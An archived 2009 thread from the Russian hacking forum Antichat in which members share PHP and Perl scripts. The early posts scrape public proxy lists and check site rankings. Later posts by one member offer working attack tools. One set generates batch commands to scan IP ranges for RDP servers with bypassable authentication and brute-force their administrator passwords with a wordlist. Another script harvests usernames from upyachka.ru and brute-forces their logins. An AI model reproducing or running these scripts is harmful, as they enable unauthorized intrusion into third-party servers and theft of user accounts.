ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
12.02.2009, 21:56
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
ыыыыы, а так?
PHP код:
<Pre>
<?
@set_time_limit(0);
@ini_set("display_errors","1");
$kol = 1; // Кол-во страниц
if ($kol<10) $kol="0$kol";
While ($i<=$kol) {
$i++;
$file = file_get_contents('http://www.samair.ru/proxy/proxy-' .$kol. '.htm') ;
preg_match_all('/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\:[0-9]+)/is', $file, $out);
foreach($out[0] as $line)
{
echo "$line\n";
}
}
?>
</pre>
Последний раз редактировалось Pashkela; 12.02.2009 в 22:04..
|
|
|
12.02.2009, 22:46
|
|
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275
Репутация:
127
|
|
Pashkela я новичок в коддинге 
Можно в принципе и так,но скорость работы же не увеличивается... |
|
|
|
12.02.2009, 23:08
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
Да нет, всё нормально, просто тут продвинутый сайт бол-мен, по этому принято обычно выкладывать действительно полезные скрипты, а не какие-то свои первые наработки. Без обид.
|
|
|
|
Граббер HTTP proxy с ProxyFire.net |
12.02.2009, 23:14
|
|
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275
Репутация:
127
|
|
Граббер HTTP proxy с ProxyFire.net
Вот еще только что написал один граббер для имхо хорошоге сайта с проксями(ProxyFire.net)
PHP код:
<?
//c0ded by Gaus//
echo "<b>HTTP elite</b><br>";
$file = file_get_contents('http://www.proxyfire.net/index.php?pageid=eliteproxylist') ;
preg_match_all('/<tr ><td>(.*?)\⃧\;<\/td><td>(.*?)<\/td><td>/', $file, $out);
foreach($out[0] as $line)
{
list($ip,$port) = explode("⃧", rtrim($line));
print $ip.":".$port."<br>";
}
echo "<b>HTTP anon.</b><br>";
$file = file_get_contents('http://www.proxyfire.net/index.php?pageid=anonymousproxylist') ;
preg_match_all('/<tr ><td>(.*?)\⃧\;<\/td><td>(.*?)<\/td><td>/', $file, $out);
foreach($out[0] as $line)
{
list($ip,$port) = explode("⃧", rtrim($line));
print $ip.":".$port."<br>";
}
?>
Последний раз редактировалось Gaus; 18.02.2009 в 21:45..
|
|
|
|
Граббер SOCKS с ProxyFire.net |
12.02.2009, 23:33
|
|
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275
Репутация:
127
|
|
Граббер SOCKS с ProxyFire.net
Граббер SOCKS с ProxyFire.net
PHP код:
<?
//c0ded by Gaus//
echo "<b>SOCKS4</b><br>";
$file = file_get_contents('http://www.proxyfire.net/index.php?pageid=socks4proxylist') ;
preg_match_all('/<tr ><td>(.*?)\⃧\;<\/td><td>(.*?)<\/td><td>/', $file, $out);
foreach($out[0] as $line)
{
list($ip,$port) = explode("⃧", rtrim($line));
print $ip.":".$port."<br>";
}
echo "<b>SOCKS5</b><br>";
$file = file_get_contents('http://www.proxyfire.net/index.php?pageid=socks5proxylist') ;
preg_match_all('/<tr ><td>(.*?)\⃧\;<\/td><td>(.*?)<\/td><td>/', $file, $out);
foreach($out[0] as $line)
{
list($ip,$port) = explode("⃧", rtrim($line));
print $ip.":".$port."<br>";
}
?>
Последний раз редактировалось Gaus; 18.02.2009 в 21:38..
|
|
|
|
12.02.2009, 23:45
|
|
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568
Репутация:
2399
|
|
универсальний граббер ір'шек.
(можно использовать для граббинга прокси/сокси/..)
@proxy_serv - масив с сайтами. можна добавить и свой)
perl:
PHP код:
use IO::Socket;
# eLwaux
# iCQ 7434214
print q[
proxy grabber
..eLwaux(c)2009
]."\n";
#=-=-=-=--==-====--=-======-=-=-=-==-====-=-==-=--==-==-=-=-=-==-=-=-=-=-==-=-
my $print_proxy = 0;
my $result_file = 'proxy.txt';
my @proxy_serv = (
'http://http.proxylife.org/index.php?sort=down_speed&sortby=desc',
'http://www.samair.ru/proxy/index.html',
'http://proxy.asechka.ru/index.php?page=proxylist',
'http://madnet.name/tools/proxy/index.php');
#=-=-=-=--==-====--=-======-=-=-=-==-====-=-==-=--==-==-=-=-=-==-=-=-=-=-==-=-
my $all_pr = 0;
foreach my $proxy_s(@proxy_serv) {
my ($host) = ($proxy_s=~'http://([\w\.]+)/.*');
print ' -- '.$host."\n";
$re = POST($proxy_s);
@ips = split(/\n/,ip_parce($re));
$all_pr+=scalar(@ips);
foreach my $ip(@ips){
print ' '.$ip."\n" if ($print_proxy==1);
s2f($result_file,$ip."\n");
}
print ' get '.scalar(@ips)." proxy\n\n";
}
print ' get: '.$all_pr.' proxy';
<stdin>;
exit;
#=-=-=-=--==-====--=-======-=-=-=-==-====-=-==-=--==-==-=-=-=-==-=-=-=-=-==-=-
sub ip_parce { #list
my $result;
my $ips = $_[0];
while ($ips=~/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):{0,}(\d{1,5}){0,}/) {
my ($ip,$port)=($1,$2);
$port = '8080' if ($port eq '');
$result.="$ip:$port\n";
substr($ips,0,index($ips,$ip)+length($ip))='';
}
return $result;
}
sub POST {#url
my $url = $_[0];
if ($url =~ 'http://([\w\.]+)/.*') {$host=$1};
$header = "POST ".$url." HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"Content-Length: 0\r\n\r\n".
"\r\n\r\n";
my $sock = sock($host);
print $sock $header;
while (my $a = <$sock>) {if($a=~/<.html>/){last;} else {$answ.=$a;}}
#sysread($sock,$answ,100000);
close($sock);
return $answ;
}
# create socket
sub sock {#host
my $sock;
do {
$sock = new IO::Socket::INET
( PeerAddr => $_[0],
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10);
} while (!$sock);
return $sock;
}
# save file
sub s2f {# filename, text
open(FILE, '>>'.$_[0]);
flock(FILE, LOCK_EX);#lock file
print FILE $_[1];
flock(FILE, LOCK_UN);#unlock file
close(FILE);
}
# read file
sub r2f { #filename
open(DESC, $_[0]);
read(DESC,my $result,-s $_[0]);
close(DESC);
return $result;
}
|
|
|
|
12.02.2009, 23:51
|
|
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568
Репутация:
2399
|
|
моя маленькая утилита для брута дедов.
на входе 3389.txt
на виходе "! VNC.bat".
в скрипте можно изменить:
$VNC = 'программа';
$port = 'порт';
$thread = 'потоков';
в результате будет создан файл $VNC с содержимим:
$VNC -i 1.2.3.4-5.6.7.8 -p $port -cT -T $thread
пример:
VNC.exe -i 195.79.127.104-195.79.127.111 -p 3389 -cT -T 2000
PHP код:
use Fcntl ':flock';
$VNC = 'VNC.exe';
$port = '3389';
$thread = '2000';
my $m = '';
open myFILE, "<3389.txt" or die $!;
while (<myFILE>) {
@c = split(/\s/,$_);
$m = $VNC.' -i '.@c[0].'-'.@c[1].' -p '.$port.' -cT -T '.$thread;
open(FILE, '>>! VNC.bat') || die(" [-] could not save file!\n");
flock(FILE, LOCK_EX);
print FILE $m."\n";
flock(FILE, LOCK_UN);
close(FILE);
}
close myFILE;
|
|
|
|
12.02.2009, 23:56
|
|
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568
Репутация:
2399
|
|
после брута ір с помощью VNC.exe прога создает VNC_bypauth.txt, в котором много нужних вам ір вида "195.80.10.131 :3389 ".
етот скрипт витягивает из VNC_bypauth.txt ір, и формирует готовий .bat файл для брута дедов "! GO.bat" tss-brute'ом.
в скрипте изменяем:
$tss = 'полний путь до tss-brute';
$pass = 'полний путь до словаря с паролями';
$fold = 'папка для врем файлов//';
$port = ':порт';
$file = 'VNC_bypauth.txt';
в результате будет что-то типа:
Код:
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.10.131 >>res//195.80.10.131
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.10.107 >>res//195.80.10.107
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.11.26 >>res//195.80.11.26
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.13.243 >>res//195.80.13.243
PHP код:
#eLwaux
use Fcntl ':flock';
$tss = 'D:\Sorted\ded\4\tss-brute.exe';
$pass = 'D:\Sorted\ded\4\pass.txt';
$fold = 'res//';
$port = ':3389';
$file = 'VNC_bypauth.txt';
my $m = '';
open(DESC, $file);
read(DESC,$res,-s $file);
close(DESC);
while ($res ne '') {
if ($res=~/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s+$port/){
($ip)=$1;
print $ip."\n";
open(FILE, '>>! GO.bat') || die(" [-] could not save file!\n");
flock(FILE, LOCK_EX);
print FILE '"'.$tss.'" -w "'.$pass.'"-u administrator '.$ip.' >>'.$fold.$ip."\n";
flock(FILE, LOCK_UN);
close(FILE);
$res = substr($res, index($res,$ip)+length($ip), length($res));
} else {$res='';}
}
#eLwaux
|
|
|
|
12.02.2009, 23:58
|
|
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568
Репутация:
2399
|
|
PR, тиЦ чекер на perl'e через сайт www.pr-cy.ru
pr-tic.pl сервер
сервер по умолчанию - google.com
PHP код:
#! /usr/bin/perl -eLwaux
use IO::Socket;
use warnings;
my $site = $ARGV[0] || 'google.com';
$header = "POST http://www.pr-cy.ru/analysis/?url=".$site." HTTP/1.1\r\n".
"Host: pr-cy.ru\r\n".
"User-Agent: eL!\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Connection: Close\r\n".
"Content-Length: 0\r\n\r\n".
"\r\n\r\n";
my $sock = sock();
print $sock $header;
#my $answ = '';
#my $answer = '';
#while($answer = <$sock>){$answ .= $answer;}
read($sock,my $answ,100000);
print cyr("\n ".$site."\n\n");
# заголовок
if (($answ)=~/<b class="grey">Заголовок:<\/b>(.*)<br \/>/) {
print cyr(' Заголовок: '.$1."\n")
}
# ip
if (($answ)=~/<b class="grey">IP:<\/b> (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\s+/) {
print cyr(' IP: '."$1.$2.$3.$4"."\n")
}
# тиЦ
if (($answ)=~/Яндекс тИЦ<\/td>[\s|\t]+<td width="25%" align="right" bgcolor="#eef2f5">(.*)<\/td>/) {
print cyr(' тИЦ : '.$1."\n");
}
# PR
if (($answ)=~/PageRank<\/td>[\s|\t|\n]+<td width="25%" align="right" bgcolor="#eef2f5">(.*)<\/td>/) {
print cyr(' PageRank : '.$1."\n");
}
<stdin>;
exit;
close($sock);
<stdin>;
#create new socket connection
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => 'pr-cy.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10
) or print "[-] connection error!";
} while (!$sock);
return $sock;
}
sub cyr {
$phrase = shift;
$phrase =~ y/А-яЁё/\x80-\xaf\xe0-\xf1/;
return $phrase;
}
#=============================================================================
#=============================================================================
|
|
|
|
13.02.2009, 00:04
|
|
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568
Репутация:
2399
|
|
месяц назад многие из "болталки" просили инвайт на upyachka.ru.
вот мой брутер
пароли в pass.txt кладем
perl:
PHP код:
#=============================================================================
#=============================================================================
use IO::Socket;
sub up{#num
$header = "POST http://upyachka.ru/".$i."/ HTTP/1.1\r\n".
"Host: upyachka.ru\r\n".
"User-Agent: upyachka\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Connection: Close\r\n".
"Content-Length: 0\r\n\r\n".
"\r\n\r\n";
my $sock = sock();
print $sock $header;
my $res = '';
my $answer = '';
while($answer = <$sock>){$res .= $answer;}
close($sock);
return $res;
}
sub login{#name,pass
my $post = 'login='.$_[0].'&pass='.$_[1].'&submit=Йаррр!';
my $header = "POST http://upyachka.ru/".$i."/ HTTP/1.1\r\n".
"Host: upyachka.ru\r\n".
"User-Agent: upyachka\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Connection: Close\r\n".
"Content-Length: ".length($post)."\r\n\r\n".
"$post\r\n\r\n";
my $sock = sock();
print $sock $header;
my $res = '';
my $answer = '';
while($answer = <$sock>){$res .= $answer;}
if ($res =~ /<input name=.login. type=.text. value=..><br>/) {print '-'.cyr($_[0]).':'.cyr($_[1])."\n";} else
{print '+++++++'.cyr($_[0]).':'.cyr($_[1])."\n";}
close($sock);
return $res;
}
my @u;
for ($i=1;$i<15;$i++){
print $i."...\n";
$res = up($i);
while(length($res)>1) {
$b = 0;
$res =~ /<SPAN class=.user.logout. noinfo=.true.>(\W+|\w+)<\/SPAN> написал/;
$res=substr($res,index($res,$1.'</SPAN> нап')+length($1.'</SPAN> нап'),length($res));
foreach my $xx(@u) {if ($xx eq $1) {$b=1;} else {$b=0;}}
@u[scalar(@u)]=$1 if ($b==0);
}
}
print 'getted: '.scalar(@u).' names..'."\n";
print "brute:\n";
##brute
open (FILE, '<pass.txt');
my @pass : shared = <FILE>;
chomp(@pass);
close(FILE);
foreach my $xx(@u) {
foreach my $ps(@pass){
login($xx,$ps);
}
login($xx,$xx);
}
<stdin>;
#=============================================================================
#=============================================================================
#create new socket connection
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => 'upyachka.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10
) or print "[-] connection error!";
} while (!$sock);
return $sock;
}
sub cyr
{
$phrase = shift;
$phrase =~ y/А-яЁё/\x80-\xaf\xe0-\xf1/;
return $phrase;
}
#=============================================================================
#=============================================================================
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
